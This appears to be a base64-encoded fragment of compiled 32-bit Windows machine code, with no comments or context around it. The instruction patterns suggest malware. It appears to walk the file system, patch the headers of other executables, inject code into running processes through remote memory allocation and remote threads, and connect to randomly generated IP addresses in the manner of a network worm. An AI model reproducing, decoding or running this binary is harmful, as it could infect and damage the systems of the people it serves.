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 